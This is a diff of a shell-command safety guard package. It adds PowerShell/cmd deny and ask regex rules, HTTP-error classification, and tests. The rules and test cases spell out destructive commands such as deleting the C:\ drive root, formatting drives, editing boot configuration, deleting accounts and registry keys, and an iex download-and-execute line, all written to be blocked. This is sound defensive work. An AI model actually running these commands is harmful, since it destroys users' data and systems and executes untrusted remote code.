+ // 451 = 服务**按地区**拒绝(实测 Typesafe 对大陆出口返回它)。它发生在鉴权与请求校验**之前**
211
+ // ——同一时刻、同一个密钥、同一个请求体,美国出口拿 422/200、大陆出口拿 451 —— 所以它既不是
212
+ // `auth`(密钥根本没被读)也不是 `edge`(正文是那个应用自己发的 JSON,不是 CDN 的 HTML 页)。
213
+ // 单出一支,标签才说得出人该去看什么:出口 IP / 代理(2026-10-15,D17)。
214
+ if (status === 451) return { kind: 'region', status, detail }
215
+ // 400/422 = **我们的请求本身**被拒(实测:model 写错 → 400 `api_usage_error`,正文 `Unknown model:
216
+ // jev-nope`)。确定、可复现、只能靠人改配置 —— 它不是"抖了一下",所以不该走 `unknown` 那条
217
+ // 静默通道:每条命令重发一次都注定失败,而 `guard status` 还报"正常"(2026-10-15,D17)。
218
+ if (status === 400 || status === 422) return { kind: 'request', status, detail }
186
219
  // 401/403 这两种码有两个来源,处置完全相反,所以先分辨来源再分类(2026-09-23,D16):
187
220
  // · 应用层鉴权失败 —— 密钥无效/被撤销 → `auth`,持久,冷却 30 分钟并提示去换密钥;
188
221
  // · 边缘/WAF 把我们挡在门外 —— 请求没到应用层,密钥都没被看过 → `edge`,瞬态,逐次 fail-open。
package/lib/rules.js CHANGED
@@ -51,8 +51,16 @@
51
51
 
52
52
  import { FALLBACK_LANG, getLang } from './i18n.js'
53
53
 
54
- /** `bash -c "…"`:把引号里的字符串当脚本执行 —— 那里面是一个命令位置。 */
55
- const SHELL_C = String.raw`(?:bash|sh|zsh|dash|ksh|pwsh|powershell|cmd)(?:\.exe)?\s+-[a-z]*c\s*["']`
54
+ /**
55
+ * `bash -c "…"` / `pwsh -NoProfile -Command "…"` / `cmd /c "…"`:把引号里的字符串当脚本执行 ——
56
+ * 那里面是一个命令位置。
57
+ *
58
+ * 2026-10-17:本 profile 的执行器翻成 pwsh 后补上两种常见写法 ——
59
+ * · PowerShell 的 `-Command`(不是 `-c`,原模式咬不到);
60
+ * · 参数在 `-Command` 之前的形态(`pwsh -NoProfile -Command …`);
61
+ * · cmd 的 `/c`。
62
+ */
63
+ const SHELL_C = String.raw`(?:bash|sh|zsh|dash|ksh|pwsh|powershell|cmd)(?:\.exe)?(?:\s+(?:-{1,2}[\w-]+|/[\w-]+))*?\s+(?:-[a-z]*c|-command|/[a-z]*c)\s*["']`
56
64
 
57
65
  /**
58
66
  * 包装器:`sudo mkfs`、`timeout 30 mkfs`、`xargs -0 mkfs`、`nice -n 5 mkfs`、`find … -exec mkfs`。
@@ -107,7 +115,18 @@ export const DENY_RULES = /** @type {Rule[]} */ ([
107
115
  { id: 'wsl-unregister', where: 'command', re: /wsl(\.exe)?\s+--unregister/i, why: { 'zh-CN': '注销 WSL 发行版,会删除整个发行版文件系统', en: 'unregisters a WSL distribution, deleting its entire filesystem' } },
108
116
  { id: 'kubectl-delete-ns', where: 'command', re: /kubectl\s+delete\s+(ns|namespace|pv|pvc)\b/i, why: { 'zh-CN': '删除命名空间/持久卷,会连带删除其中的数据', en: 'deletes a namespace/persistent volume, taking the data inside with it' } },
109
117
  { id: 'ps-clear-disk', where: 'command', re: /\b(Clear-Disk|Format-Volume|Initialize-Disk)\b/i, why: { 'zh-CN': 'PowerShell 磁盘级破坏操作', en: 'a PowerShell disk-level destructive operation' } },
110
- { id: 'ps-remove-item-drive-root', where: 'command', re: /Remove-Item[^\n]*-Recurse[^\n]*\b[A-Za-z]:\\\s*($|[^*])/i, why: { 'zh-CN': '递归删除整个盘符根目录', en: 'recursively deletes a whole drive root' } },
118
+ // ── Windows / PowerShell 删除类(2026-10-17,执行器翻成 pwsh 后补齐)───────────────
119
+ // 旧模式 `Remove-Item[^\n]*-Recurse[^\n]*[A-Za-z]:\\\s*($|[^*])` 会把**任何** `C:` 下的
120
+ // 递归删除都判 deny(因为 `[^*]` 连路径首字母都算),`Remove-Item -Recurse C:\Users\me\build`
121
+ // 这种正常清理也被拦。现在只认"根目标":盘符根、Windows、用户目录根。
122
+ // 另外 `-Path C:\ -Recurse` 把 flag 写在目标后面的写法,旧模式(先 -Recurse 后路径)也漏,
123
+ // 所以 flag 用 lookahead 判"同行出现过",目标再单独锚边界。
124
+ { id: 'ps-remove-item-drive-root', where: 'command', re: /\b(?:Remove-Item|ri|rm|del|erase|rd|rmdir)\b(?=[^\n]*(?:\/s\b|-Recurse))[^\n]*(?:["'][A-Za-z]:\\["']?|[A-Za-z]:\\|%SystemDrive%\\?|\$env:SystemDrive\\?)(?=\s|$|["']|[;&|)]|\*)/i, why: { 'zh-CN': '递归删除整个盘符根目录', en: 'recursively deletes a whole drive root' } },
125
+ { id: 'ps-remove-item-windows-dir', where: 'command', re: /\b(?:Remove-Item|del|erase|rd|rmdir)\b(?=[^\n]*(?:\/s\b|-Recurse))[^\n]*(?:\$env:(?:SystemRoot|Windir)\b|%SystemRoot%|%windir%|[A-Za-z]:\\Windows(?=\\|\s|["']|$))/i, why: { 'zh-CN': '递归删除 Windows 系统目录', en: 'recursively deletes the Windows system directory' } },
126
+ { id: 'ps-remove-item-user-profile', where: 'command', re: /\b(?:Remove-Item|ri|rm|del|erase|rd|rmdir)\b(?=[^\n]*(?:\/s\b|-Recurse))[^\n]*(?:\$env:USERPROFILE(?![\w\\])|\$HOME(?![\w\\])|%USERPROFILE%(?!\\)|["']?[A-Za-z]:\\Users\\[^\\\s"']+\\?["']?(?=\s|$|[;&|)])|~\\?(?=\s|$|[;&|)]))/i, why: { 'zh-CN': '递归删除整个用户目录根', en: 'recursively deletes a whole user-profile root' } },
127
+ { id: 'format-drive', where: 'command', re: /\bformat(?:\.com)?\s+(?:[/-][a-z]+\s+)*["']?[A-Za-z]:["']?(?=\s|$)/i, why: { 'zh-CN': '格式化盘符(cmd 的 format)', en: 'formats a drive (cmd format)' } },
128
+ { id: 'boot-config-edit', where: 'command', re: /\bbcdedit(?:\.exe)?\b[^\n]*\/(?:set|setvalue|delete|deletevalue|create|import)\b/i, why: { 'zh-CN': '改写启动配置,写坏了机器起不来', en: 'edits the boot configuration; a bad write leaves the machine unbootable' } },
129
+ { id: 'disable-system-restore', where: 'command', re: /\bDisable-ComputerRestore\b/i, why: { 'zh-CN': '关掉系统还原,会毁掉以后的回滚能力', en: 'disables System Restore, destroying the ability to roll back later' } },
111
130
  { id: 'rm-rf-home-root', where: 'command', re: /rm\s+-[a-z]*r[a-z]*f?\s+~\/?(\s|$)/i, why: { 'zh-CN': '删除整个家目录', en: 'deletes the entire home directory' } },
112
131
  ])
113
132
 
@@ -129,6 +148,17 @@ export const ASK_RULES = /** @type {Rule[]} */ ([
129
148
  { id: 'publish-irreversible', where: 'command', re: /\b(npm|cargo|twine|poetry)\s+publish\b/i, why: { 'zh-CN': '发布到公共仓库,基本不可撤回', en: 'publishes to a public registry; effectively irreversible' } },
130
149
  { id: 'chown-recursive-root', where: 'command', re: /chown\s+-R[^\n]*\s\/(\s|$)/i, why: { 'zh-CN': '递归改根目录属主', en: 'recursively changes ownership of the root directory' } },
131
150
  { id: 'systemd-mask-critical', where: 'command', re: /systemctl\s+(mask|disable)\s+(ssh|network|networking|systemd-networkd)/i, why: { 'zh-CN': '停用关键系统服务,可能把机器锁在外面', en: 'disables a critical system service; can lock you out of the machine' } },
151
+ // ── PowerShell / Windows 语义层的显式确认项(2026-10-17)─────────────────────────
152
+ // 这些不一定是"永不允许"(有正当用途),但被动态生成 / 隐蔽执行 / 删账号注册表时,
153
+ // 语义层在 1800ms 超时下会 fail-open —— 所以放进 L0 让人看一眼。
154
+ { id: 'ps-invoke-expression', where: 'command', re: /\b(?:Invoke-Expression|iex)\b/i, why: { 'zh-CN': '执行动态生成的代码(iex),调用方看不到真正要跑什么', en: 'executes dynamically generated code (iex); the real payload is invisible to the reader' } },
155
+ { id: 'ps-encoded-command', where: 'command', re: /\b(?:pwsh|powershell)(?:\.exe)?\b[^\n]*\s-(?:e|ec|enc|encodedcommand)\b/i, why: { 'zh-CN': '用 -EncodedCommand 执行 Base64 代码,内容不可读', en: 'runs Base64 code via -EncodedCommand; the content is unreadable' } },
156
+ { id: 'ps-clear-content', where: 'command', re: /\bClear-Content\b/i, why: { 'zh-CN': '清空文件内容(保留文件本身)', en: 'empties file contents (the files themselves stay)' } },
157
+ { id: 'ps-registry-delete', where: 'command', re: /\breg(?:\.exe)?\s+delete\b/i, why: { 'zh-CN': '删除注册表项', en: 'deletes registry keys' } },
158
+ { id: 'ps-remove-item-registry', where: 'command', re: /Remove-Item[^\n]*(?:HKLM:|HKCU:|HKCR:|HKU:|HKEY_LOCAL_MACHINE|HKEY_CURRENT_USER|HKEY_CLASSES_ROOT)/i, why: { 'zh-CN': '通过 Remove-Item 删除注册表项', en: 'deletes registry keys through Remove-Item' } },
159
+ { id: 'net-account-delete', where: 'command', re: /\bnet(?:\.exe)?\s+(?:user|localgroup)\b[^\n]*\/delete\b/i, why: { 'zh-CN': '删除本地账号/组,可能把人锁在系统外', en: 'deletes a local account/group; can lock a person out of the machine' } },
160
+ { id: 'ps-takeown-icacls-root', where: 'command', re: /\btakeown(?:\.exe)?\b[^\n]*\/[fs]\s+["']?[A-Za-z]:\\["']?(?=\s|\/|$)|\bicacls\b[^\n]*["']?[A-Za-z]:\\["']?\s*\/reset\b/i, why: { 'zh-CN': '夺取/重置盘符根的 ACL,会把权限结构整个翻掉', en: 'takes ownership of / resets ACLs on a drive root, flipping the whole permission structure' } },
161
+ { id: 'clear-recyclebin', where: 'command', re: /\bClear-RecycleBin\b/i, why: { 'zh-CN': '清空回收站,删掉最后的恢复副本', en: 'empties the Recycle Bin, removing the last recoverable copy' } },
132
162
  ])
133
163
 
134
164
  /**
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dsh-jev-guard",
3
- "version": "0.5.4",
3
+ "version": "0.5.6",
4
4
  "description": "Pre-execution safety valve for DeepSeek Harness: a TypeSafe Jev question decides whether a shell command/script would irreversibly delete or overwrite real data. Four states (allow/revise/block/escalate), mounted on tools/pre-execute. Zero dependencies; WSL/Linux (bash) and Windows (pwsh); one-shot tokens, credit-exhaustion degradation, shared audit log; bilingual (zh-CN / en) messages.",
5
5
  "keywords": [
6
6
  "deepseek-harness",
@@ -105,12 +105,14 @@ const noKey = Object.assign(new Error('no key'), { code: 'no-key' })
105
105
  expect('无密钥 → no-key', classifyFailure(noKey).kind === 'no-key')
106
106
  expect('未知 → unknown(不降级)', classifyFailure(new Error('???')) && !KINDS.unknown.degraded)
107
107
 
108
- // 2) 会降级的类别,以及**两种降级方式**(2026-09-20,D15):
109
- // · quota / auth = 服务侧状况 → 冷却式:到期放一次探测;
110
- // · no-key = 本地配置状况 → **粘性**:没密钥时零 HTTP、没有可探测对象,所以靠"密钥出现"结束,
111
- // 而且带作用域 —— 只压制写下它的那条入口(密钥解析各入口独立,degraded.json 却是全机共享)。
108
+ // 2) 会降级的类别,以及**三种降级方式**(2026-09-20 D15;2026-10-15 D17):
109
+ // · quota / auth / region = 服务侧状况 → 冷却式:到期放一次探测;
110
+ // · no-key = 本地配置状况 → **粘性**:没密钥时零 HTTP、没有可探测对象,所以靠"密钥出现"结束;
111
+ // · request = 写错的 model / 被拒的请求体 —— 重试再多遍也是同一个 400,所以要降级,
112
+ // 但它只说明**这条入口的配置**不对,作用域跟着 no-key 走(只压制写下它的那条入口)。
113
+ // 作用域对 no-key / request 是同一个道理:密钥与配置各入口独立,degraded.json 却是全机共享。
112
114
  const degrading = Object.entries(KINDS).filter(([, v]) => v.degraded).map(([k]) => k).sort()
113
- expect('会降级的类别 = auth / no-key / quota', degrading.join(',') === 'auth,no-key,quota', degrading.join(','))
115
+ expect('会降级的类别 = auth / no-key / quota / region / request', degrading.join(',') === 'auth,no-key,quota,region,request', degrading.join(','))
114
116
  expect('no-key 降级(没有效密钥必须像额度耗尽那样明说,而不是静默 fail-open)', KINDS['no-key'].degraded === true)
115
117
  expect('no-key 是粘性的(不靠时间结束)', KINDS['no-key'].sticky === true && cooldownMs('no-key', {}) === 0)
116
118
  expect('no-key 的作用域是本地(只压制写下它的入口)', KINDS['no-key'].scope === 'local' && kindScope('no-key') === 'local')
@@ -415,6 +417,31 @@ expect('缓存命中不再自称探测(记录不能写没发生的事)',
415
417
  probeReused.source === 'cache' && probeReused.probe === undefined && probeReused.recovered === undefined,
416
418
  `${probeReused.source}/${probeReused.probe}/${probeReused.recovered}`)
417
419
 
420
+ // 18) **两类"重试也不会变"的失败各自出面,而不是落进 unknown 的静默通道**(2026-10-15,D17)。
421
+ // 现场:2026-10-15 一整天,DSH 的每条判定都是 `HTTP 451` → 旧表把它归 `unknown`,
422
+ // 而 unknown 不降级 ⇒ 每条命令照发一次注定被拒的请求、零告警、`guard status` 仍报"正常"。
423
+ // 两个正文都是**实测照抄**(见 docs/DECISIONS.md D17),不是编的。
424
+ const REGION_451 = '{"title":"Typesafe is not available in your region.","status":451}'
425
+ const USAGE_400 = '{"detail":{"error_type":"api_usage_error","message":"Unknown model: jev-nope"}}'
426
+ expect('451(服务按出口地区拒绝)→ region,且会降级',
427
+ classifyFailure(httpError(451, REGION_451, 'application/json')).kind === 'region' && KINDS.region.degraded === true)
428
+ expect('400(model 写错)→ request(**本地配置**类),不再落进 unknown',
429
+ classifyFailure(httpError(400, USAGE_400, 'application/json')).kind === 'request' && KINDS.request.degraded === true)
430
+ expect('region 是全局状态(出口被封时每个入口都一样),request 是本入口状态(D15 的作用域规矩)',
431
+ kindScope('region') === 'global' && kindScope('request') === 'local')
432
+ await clearDegraded(cfg)
433
+ script = [httpError(451, REGION_451, 'application/json')]
434
+ calls = []
435
+ const regionFirst = await evaluateCommand(CMD, { ...DEFAULTS, ...cfg, apiKey: 'x', cache: undefined, quotaGuard: true })
436
+ const regionSecond = await evaluateCommand(CMD, { ...DEFAULTS, ...cfg, apiKey: 'x', cache: undefined, quotaGuard: true })
437
+ const regionState = await readDegraded(cfg)
438
+ expect('451 → 这一次 fail-open,但留下可读状态:下一条命令不再发请求,且告警说出 451',
439
+ regionFirst.action === 'allow' && regionFirst.source === 'error' && regionFirst.errorKind === 'region'
440
+ && String(regionFirst.warning ?? '').includes('451')
441
+ && calls.length === 1 && regionSecond.source === 'degraded'
442
+ && regionState?.kind === 'region' && regionState?.scope === 'global',
443
+ JSON.stringify({ first: regionFirst.errorKind, calls: calls.length, second: regionSecond.source, state: `${regionState?.kind}/${regionState?.scope}` }))
444
+
418
445
  await rm(dir, { recursive: true, force: true })
419
446
  process.stdout.write(`\n${failed === 0 ? '全部通过' : `${failed} 项失败`}(${checks} 例)\n`)
420
447
  process.exit(failed === 0 ? 0 : 1)
@@ -76,6 +76,45 @@ const CASES = [
76
76
  // ── C 组:包装器吞参数只认 ASCII 词/flag/路径,中文散文不该被顺带命中 ─────────────
77
77
  ['xargs 删除 mkfs.ext4 /dev/sdb1', null, 'C 散文:包装器后面是中文 → 交给 Jev'],
78
78
  ['用 mkfs.ext4 /dev/sdb1 格式化会丢数据', null, 'C 散文:行首不是命令'],
79
+
80
+ // ── E 组:PowerShell / cmd 的破坏性形态(2026-10-17,执行器翻成 pwsh 后补)─────────
81
+ ['Remove-Item -Recurse -Force C:\\', 'ps-remove-item-drive-root', 'E 真执行:递归删盘符根'],
82
+ ['rd /s /q C:\\', 'ps-remove-item-drive-root', 'E 真执行:cmd 的 rd /s /q'],
83
+ ['del /f /s /q C:\\*', 'ps-remove-item-drive-root', 'E 真执行:del 递归删根目录通配'],
84
+ ['Remove-Item -Path C:\\ -Recurse', 'ps-remove-item-drive-root', 'E 真执行:-Recurse 写在目标之后'],
85
+ ['Remove-Item -Recurse -Force "C:\\"', 'ps-remove-item-drive-root', 'E 真执行:目标带引号'],
86
+ ['Remove-Item -Recurse C:\\Windows', 'ps-remove-item-windows-dir', 'E 真执行:删系统目录'],
87
+ ['rd /s /q C:\\Windows', 'ps-remove-item-windows-dir', 'E 真执行:cmd 删系统目录'],
88
+ ['Remove-Item -Recurse $env:SystemRoot', 'ps-remove-item-windows-dir', 'E 真执行:env 形式的系统目录'],
89
+ ['Remove-Item -Recurse C:\\Users\\lmkta', 'ps-remove-item-user-profile', 'E 真执行:删用户目录根'],
90
+ ['Remove-Item -Recurse $env:USERPROFILE', 'ps-remove-item-user-profile', 'E 真执行:env 形式的用户目录'],
91
+ ['Remove-Item -Recurse ~', 'ps-remove-item-user-profile', 'E 真执行:PS 的 ~ 是家目录'],
92
+ ['format D: /q', 'format-drive', 'E 真执行:cmd 的 format'],
93
+ ['bcdedit /set {default} safeboot minimal', 'boot-config-edit', 'E 真执行:改启动配置'],
94
+ ['Disable-ComputerRestore -Drive "C:\\"', 'disable-system-restore', 'E 真执行:关系统还原'],
95
+ ["Invoke-Expression (New-Object Net.WebClient).DownloadString('http://x')", 'ps-invoke-expression', 'E 真执行:iex 下载执行'],
96
+ ['pwsh -EncodedCommand SQBFAFgA', 'ps-encoded-command', 'E 真执行:Base64 编码命令'],
97
+ ['Clear-Content .\\notes.md', 'ps-clear-content', 'E 真执行:清空文件内容'],
98
+ ['reg delete HKCU\\Software\\Foo /f', 'ps-registry-delete', 'E 真执行:删注册表项'],
99
+ ['Remove-Item HKCU:\\Software\\Foo -Recurse', 'ps-remove-item-registry', 'E 真执行:PS 删注册表项'],
100
+ ['net user test /delete', 'net-account-delete', 'E 真执行:删本地账号'],
101
+ ['icacls C:\\ /reset', 'ps-takeown-icacls-root', 'E 真执行:重置盘符根 ACL'],
102
+ ['takeown /f C:\\ /r', 'ps-takeown-icacls-root', 'E 真执行:夺取盘符根属主'],
103
+ ['Clear-RecycleBin -Force', 'clear-recyclebin', 'E 真执行:清空回收站'],
104
+ ['pwsh -NoProfile -Command "Remove-Item -Recurse C:\\"', 'ps-remove-item-drive-root', 'E 真执行:pwsh -Command 里的命令(新 SHELL_C 才锚得到)'],
105
+ ['cmd /c "rd /s /q C:\\"', 'ps-remove-item-drive-root', 'E 真执行:cmd /c 里的命令'],
106
+
107
+ // ── F 组:PowerShell 普通操作不该被误伤(与旧的错误模式对照)────────────────────
108
+ ['Remove-Item -Recurse -Force .\\build', null, 'F 普通:相对目录的递归清理'],
109
+ ['Remove-Item -Recurse C:\\Users\\lmkta\\build\\dist', null, 'F 普通:C: 下的子目录(旧模式会 deny)'],
110
+ ['Remove-Item -Recurse C:\\Windows.old', null, 'F 普通:Windows.old 是常规清理'],
111
+ ['echo "rd /s /q C:\\" > notes.txt', null, 'F 散文:把命令写进参数'],
112
+ ['Get-ChildItem C:\\ | Format-Table', null, 'F 普通:Format-Table 不是 format 盘符'],
113
+ ['Write-Host "iex is short for Invoke-Expression"', null, 'F 散文:说明文字里的 iex'],
114
+ ['pwsh -NoProfile -Command "Get-Date"', null, 'F 普通:无害的 pwsh -Command'],
115
+ ['net user', null, 'F 普通:查看本地账号'],
116
+ ['reg query HKLM\\Software', null, 'F 普通:查询注册表'],
117
+ ['Get-Help Clear-Content', null, 'F 普通:查帮助,不是执行'],
79
118
  ]
80
119
 
81
120
  let failed = 0